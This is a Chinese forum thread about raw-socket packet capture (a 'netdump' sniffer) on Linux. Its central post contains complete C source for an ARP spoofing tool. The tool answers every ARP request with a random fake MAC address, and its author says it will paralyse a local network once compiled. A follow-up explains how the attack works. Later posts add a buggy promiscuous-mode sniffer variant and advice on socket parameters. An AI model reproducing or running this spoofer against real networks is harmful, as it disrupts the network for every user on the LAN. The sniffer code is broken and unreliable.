给出一个 netdump 程序, 抓包用的. 如果改进了,也希望贴出

Yufei00772002

我看到的是已经改好的了，
指针已经移动了 ptemp += sizeof(struct iphdr);
所以我在比 ip ->; tot_len 和 ntohs(pudp->;len)

另外，对不起，我不知道这里为什么要用 strcpy

myhstone

要命，编译完后运行得眼都花了，
linux机器差点死掉。。。。

Yufei00772002

不好意思，我是昨天才学习这个网络程序，但是我们都好像是新手，我愿意回答这个问题，
因为 for(; 是个无限循环，应该是只要你的网卡是active的状态，就不断读上面的信息，fetch出来。
我感觉死机不至于，你可以定向到一个文件，然后CTRL+C

-- 感觉这里真专业，大家都是real practices.

playmud

好啊，大家表现都很好！真的。

JohnBull

真热闹啊!   我也凑凑!
这是我讲课时的示范程序,让你的网络瘫痪,make一下就行了.

1. 
   
2. /*
   
3. *
   
4. * This is a simple arp spoof program.
   
5. * It demostrates the usage of PACKET socket.
   
6. * the code is published under GPL.
   
7. * see http://www.gnu.org for the detail of GPL.
   
8. *                                 written by
   
9. *                                 John Bull <john@ccjsj.com>;
   
10. */
    
11. #include <stdio.h>;
    
12. #include <unistd.h>;
    
13. #include <signal.h>;
    
14. #include <fcntl.h>;
    
15. #include <sys/socket.h>;
    
16. #include <features.h>;
    
17. #include <netpacket/packet.h>;
    
18. #include <net/ethernet.h>;
    
19. #include <sys/ioctl.h>;
    
20. #include <sys/types.h>;
    
21. #include <net/if.h>;
    
22. #include <net/if_packet.h>;
    
23. #include <net/if_arp.h>;
    
24. 
    
25. struct etharp {
    
26.         struct arphdr hdr;
    
27.         unsigned char sender_mac[6];
    
28.         unsigned char sender_ip[4];
    
29.         unsigned char rcver_mac[6];
    
30.         unsigned char rcver_ip[4];
    
31. };
    
32. 
    
33. struct etharp_frame {
    
34.         unsigned char dst[6];
    
35.         unsigned char src[6];
    
36.         unsigned short type;
    
37.         struct etharp arp;
    
38. };
    
39. 
    
40. char*
    
41. mac2a(char* dst, unsigned char* addr)
    
42. {
    
43.         int i;
    
44.         char buf[8];
    
45. 
    
46.         dst[0]='\0';
    
47.         for (i=0;i<6;i++) {
    
48.                 sprintf(buf,"%.2X",(unsigned char)addr[i]);
    
49.                 strcat(dst,buf);
    
50.                 if (i<5) {
    
51.                         strcat(dst,":");
    
52.                 }
    
53.         }
    
54.         return dst;
    
55. }
    
56. 
    
57. char*
    
58. ip2a(char* dst, unsigned char* addr)
    
59. {
    
60.         int i;
    
61.         char buf[8];
    
62. 
    
63.         dst[0]='\0';
    
64.         for (i=0;i<4;i++) {
    
65.                 sprintf(buf,"%u",(unsigned char)addr[i]);
    
66.                 strcat(dst,buf);
    
67.                 if (i<3) {
    
68.                         strcat(dst,".");
    
69.                 }
    
70.         }
    
71. }
    
72. 
    
73. int
    
74. getIndexbyName(int sd, const char* ifname)
    
75. {
    
76.         int ret;
    
77.         struct ifreq req;
    
78. 
    
79.         strncpy(req.ifr_name,ifname,IFNAMSIZ);
    
80.         ret=ioctl(sd,SIOCGIFINDEX,&req);
    
81.         if (ret==-1) {
    
82.                 return -1;
    
83.         }
    
84.         return req.ifr_ifindex;
    
85. }
    
86. 
    
87. void
    
88. usage(char* argv0)
    
89. {
    
90.         printf("usage: %s -i ifname -m\n",argv0);
    
91. }
    
92. 
    
93. main(int argc, char *argv[])
    
94. {
    
95.         int sd,fd;
    
96.         int ret;
    
97.         int iface;
    
98.         struct sockaddr_ll my_end,his_end;
    
99.         int his_end_len;
    
100.         struct etharp_frame rcvBuffer[1],sndBuffer[1];
     
101.         char mac[18],ip[16];
     
102. 
     
103.         unsigned char fake[6];
     
104. 
     
105. 
     
106.         if (argc<2) {
     
107.                 usage(argv[0]);
     
108.                 exit(0);
     
109.         }
     
110. 
     
111.         int c;
     
112.         char iface_name[IFNAMSIZ];
     
113.         int monitor_mode=0;
     
114.         strcpy(iface_name,"eth0");
     
115.         while ((c=getopt(argc,argv,"i:m"))>;=0) {
     
116.                 switch (c) {
     
117.                         case 'i' :
     
118.                           strncpy(iface_name,optarg,IFNAMSIZ);
     
119.                           break;
     
120.                         case 'm' :
     
121.                           monitor_mode=1;
     
122.                           break;
     
123.                         default :
     
124.                           usage(argv[0]);
     
125.                           exit(0);
     
126.                           break;
     
127.                 }
     
128.         }
     
129. 
     
130.         printf("This program keeps running for 60 seconds.\n");
     
131.         printf("NIC=%s\n",iface_name);
     
132.         printf("Monitor Mode=%i\n",monitor_mode);
     
133.         printf("=========\n");
     
134.         alarm(60);
     
135. 
     
136.         sd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));
     
137.         if (sd==-1) {
     
138.                 perror("socket");
     
139.                 exit(1);
     
140.         }
     
141. 
     
142.         iface=getIndexbyName(sd,iface_name);
     
143.         if (iface==-1) {
     
144.                 perror("ioctl(Request interface index)");
     
145.                 exit(-1);
     
146.         }
     
147. 
     
148.         my_end.sll_family=AF_PACKET;
     
149.         my_end.sll_protocol=htons(ETH_P_ARP);
     
150.         my_end.sll_ifindex=iface;
     
151.         ret=bind(sd,(struct sockaddr*)&my_end,sizeof(struct sockaddr_ll));
     
152.         if (ret==-1) {
     
153.                 perror("bind");
     
154.                 exit(1);
     
155.         }
     
156. 
     
157.         fd=open("/dev/urandom",O_RDONLY);
     
158. 
     
159.         while (1) {
     
160.                 ret=recvfrom(sd,rcvBuffer,sizeof(rcvBuffer),0,(struct sockaddr*)&his_end,&his_end_len);
     
161.                 if (ret==-1) {
     
162.                         continue;
     
163.                 }
     
164. 
     
165.                 if (ntohs(rcvBuffer->;arp.hdr.ar_op)==ARPOP_REQUEST) {
     
166.                         ip2a(ip,rcvBuffer->;arp.sender_ip);
     
167.                         printf("%s wants to know ",ip);
     
168.                         ip2a(ip,rcvBuffer->;arp.rcver_ip);
     
169.                         printf("%s's MAC.\n",ip);
     
170.                         fflush(stdout);
     
171. 
     
172.                         if (monitor_mode==1)
     
173.                                 continue;
     
174. 
     
175.                         read(fd,fake,6);
     
176. 
     
177.                         memcpy(sndBuffer->;dst,rcvBuffer->;arp.sender_mac,6);
     
178.                         memcpy(sndBuffer->;src,fake,6);
     
179.                         sndBuffer->;type=htons(ETH_P_ARP);
     
180.                         sndBuffer->;arp.hdr.ar_hrd=htons(ARPHRD_ETHER);
     
181.                         sndBuffer->;arp.hdr.ar_pro=htons(0x0800);
     
182.                         sndBuffer->;arp.hdr.ar_hln=(char)6;
     
183.                         sndBuffer->;arp.hdr.ar_pln=(char)4;
     
184.                         sndBuffer->;arp.hdr.ar_op=htons(ARPOP_REPLY);
     
185.                         memcpy(sndBuffer->;arp.sender_mac,fake,6);
     
186.                         memcpy(sndBuffer->;arp.sender_ip,rcvBuffer->;arp.rcver_ip,4);
     
187.                         memcpy(sndBuffer->;arp.rcver_mac,rcvBuffer->;arp.sender_mac,6);
     
188.                         memcpy(sndBuffer->;arp.rcver_ip,rcvBuffer->;arp.rcver_ip,4);
     
189. 
     
190.                         his_end.sll_family=AF_PACKET;
     
191. //        his_end.sll_addr should be filled by recvfrom() already
     
192.                         his_end.sll_halen=6;
     
193.                         his_end.sll_ifindex=iface;
     
194.                         sleep(1);
     
195.                         sendto(sd,sndBuffer,sizeof(sndBuffer),0,(struct sockaddr*)&his_end,sizeof(his_end));
     
196.                         mac2a(mac,fake);
     
197.                         printf("\tfaked a %s as the answer.\n",mac);
     
198.                 }
     
199.         }
     
200.         close(fd);
     
201. }
     

复制代码

黄山松

呵呵,教人学坏啊
好,我来配个讲解:
本程序的作用是起到ARP欺骗.首先说一下ARP的作用:
ARP的作用是获取目的IP机器的MAC地址,然后在根据这个MAC地址和IP地址和目标机器进行信息交互,有一点比较重要的就是每个机器在正常工作的情况下只会接受MAC地址是广播地址和MAC地址是自己MAC地址的网络包.
所以加入机器A想和机器B通信,过程如下:

1.A发一个ARP包(这是广播包,谁都可以收到),想去获取机器B的MAC
2.机器B接收到该ARP包并确人是给自己的,返回一个ARP包,告诉A他的MAC
3.A根据获取的MAC进行网络交互

本程序的作用是:
接收到任何一个机器发出来的ARP请求包,立马回一个ARP返回包,里面返回的MAC地址是随机的(够狠,这样网络里的MAC地址和IP地址对应关系就会乱掉了,这样整个网络的数据交互就瘫痪了,哈哈

Yufei00772002

这个程序写的蛮好的（当然我是写不出来的），知识点挺多的，总体感觉是收到的数据包，又送回去了。
学习啊... ...

对不起，我没有看到 - 黄山松的回帖
返回的Mac地址是从一个文件里读出来的，这个文件有随机性？
不知道说的对不对

RealRaul

cc -o netdump netdump.c
"/usr/include/sys/netinet/ip.h", line 175: error: Syntax error before or at: n_long
"/usr/include/sys/netinet/ip.h", line 175: error: cannot recover from previous errors

lifeixiao

//netdump.c  

#include <stdio.h>;   
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <arpa/inet.h>;  
#include <netinet/ip.h>;
#include <string.h>;
#include <netdb.h>;
#include <netinet/tcp.h>;
#include <stdlib.h>;
#include <unistd.h>;
#include <signal.h>;
#include <net/if.h>;
#include <sys/ioctl.h>;
#include <sys/stat.h>;
#include <fcntl.h>;
#include <termios.h>;

void die(char *why, int n)
{
          perror(why);
          exit(n);
}


int do_promisc(char *nif, int sock )
{
        struct ifreq ifr;
  
          strncpy(ifr.ifr_name, nif,strlen(nif)+1);
          if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1))
          {        
                    die("ioctl", 2);
          }
          ifr.ifr_ifru.ifru_flags |= IFF_PROMISC;
          if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 )
          {
                    die("ioctl", 3);
          }
}

char buf[3*32767];

main()
{
        struct sockaddr_in addr;
        struct ip *ip;
        struct tcphdr *tcp;
        int sock, r, len,i;
        char *data ,*ptr;
        char ss[32], dd[32];
        int size;

        if((sock = socket(AF_INET,SOCK_RAW,0)) == -1) die("socket", 1);
        do_promisc("tu0", sock);
       
          
        for(;
        {
                len = sizeof(addr);
               
                r = recvfrom(sock,(char *)buf,sizeof(buf),0,(struct sockaddr *)&addr,&len);
                buf[r] = 0;
               
                ip = (struct ip *)buf;
                for(i=0,ptr=buf;i<2*32767;ptr++);
                tcp = (struct tcphdr *)ptr;
       
                  printf("ktSize: %d IPLEN %d PROT %d  \
                          %s:%d-->;%s:%d %d \n",
                           r, ip->;ip_len, ip->;ip_p,
                            
                           strcpy(ss, inet_ntoa(*(struct in_addr*)&(ip->;ip_src.s_addr))),
                           ntohs(tcp->;th_sport),
                           strcpy(dd, inet_ntoa(*(struct in_addr*)&(ip->;ip_dst.s_addr))),
                           ntohs(tcp->;th_dport),
                           tcp->;th_off );
                    data = (char*)tcp + 4*tcp->;th_off;
                    printf("data = %s\n", data);
         }
}

================
我把楼主的程序改了一下放在Digital UNIX下运行，程序一直阻塞在recvfrom处，这是为什么？我另外写了测试程序从另外一台机上往本机上不停的发数据啊明明

思一克

socket(d, SOCK_RAW, p);

如果仅仅capture IP, d = PF_INET, p = IPPROTO_UDP, IPPROTO_TCP,等

如果capture Ethernet以上的协议，d = PF_PACKET, p = htons(ETH_P_ALL)